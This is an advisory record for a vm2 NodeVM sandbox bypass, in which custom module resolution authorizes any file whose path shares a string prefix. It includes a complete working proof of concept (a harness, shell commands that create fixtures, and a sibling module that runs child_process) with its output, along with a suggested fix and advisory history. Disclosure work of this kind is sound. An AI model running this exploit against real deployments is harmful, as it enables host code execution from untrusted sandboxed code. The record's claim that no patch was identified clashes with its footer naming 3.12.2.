CVE-2026-100721: vm2: NodeVM custom resolution bypasses external path boundaries
## Summary At source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^<path>` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`. ## Technical Details The affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted. The source-to-sink path is: - `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`. - `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`. - `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`. - `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required. - `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped. The relevant current code has the same flaw for both supported custom-resolver return shapes: ```js if (typeof resolved === 'string') { this.externals.push(new RegExp('^' + escapeRegExp(resolved))); return this.loadAsFileOrDirectory(resolved, extList); } const {module=x, path: resolvedPath} = resolved; this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath))); return this.loadNodeModules(module, [resolvedPath], extList); ``` The existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix. ## PoV The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path: ```js const foo = require('foo'); module.exports = { foo, sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js') }; ``` The corresponding embedder configuration is: ```js const vm = new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root: '/tmp/vm2-prefix-case', context: 'host', resolve(name) { return name === 'foo' ? '/tmp/vm2-prefix-case/node_modules/foo' : undefined; } } }); ``` The sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code. ## PoC From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts: ```sh git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164 npm ci --ignore-scripts ``` Save the following harness as `/tmp/custom-resolve-prefix.js`: ```js 'use strict'; const path = require('path'); const { NodeVM } = require(process.cwd() + '/lib/main.js'); const [, , mode, fooIndexPath, siblingPath] = process.argv; const fooDir = path.dirname(fooIndexPath); const root = path.resolve(fooDir, '../..'); const entry = path.join(path.dirname(root), 'entry.js'); let customCalls = 0; function runGuest(code) { return new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root, context: 'host', resolve(moduleName) { if (moduleName === 'foo') { customCalls++; return fooDir; } return undefined; } } }).run(code, entry); } const record = {mode, result: 'invalid'}; try { if (mode === 'candidate') { const output = runGuest(` const foo = require('foo'); module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})}; `); record.output = output; if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') { record.result = 'violation'; record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN'; } else { record.result = 'pass'; } } else if (mode === 'control') { try { runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`); record.result = 'violation'; record.signal = 'prefix-sharing sibling loaded before custom resolution'; } catch (error) { record.result = 'pass'; record.denial = String(error && (error.code || error.message) || error); } } else { record.error = 'unknown mode'; } } catch (error) { record.result = 'invalid'; record.error = String(error && (error.stack || error.message) || error); } record.customCalls = customCalls; console.log(JSON.stringify(record)); ``` Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix: ```sh mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2 cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF' 'use strict'; module.exports = 'FOO_OK'; EOF cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF' 'use strict'; module.exports = require('child_process').execFileSync( process.execPath, ['-e', "process.stdout.write('PREFIX_PWN')"] ).toString(); EOF ``` Run the attack and then the negative control from the repository checkout: ```sh node /tmp/custom-resolve-prefix.js candidate \ /tmp/vm2-prefix-case/node_modules/foo/index.js \ /tmp/vm2-prefix-case/node_modules/foo2/index.js node /tmp/custom-resolve-prefix.js control \ /tmp/vm2-prefix-case/node_modules/foo/index.js \ /tmp/vm2-prefix-case/node_modules/foo2/index.js ``` The decisive results were: ```text {"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1} {"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0} ``` Both executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied. ## Impact This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability. ## Suggested Fix Make every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result: ```js const externalPath = value => new RegExp( '^' + escapeRegExp(value) + '(?:[\\/].*)?$' ); ``` Use `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex. Add regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization. ## Affected Package/Versions - Package: `vm2` in the npm ecosystem. - Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`. - Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`. - Current head: the pinned revision is vulnerable, as shown by the attack/control pair above. - Patched versions: none identified by the tested evidence. - Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed. ## Advisory History The closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch. [GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.
Recommended action
Recommended action
Upgrade affected packages to a patched version: vm2 3.12.2.
Technical details
- Vendor
- Not specified
- Product
- vm2
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source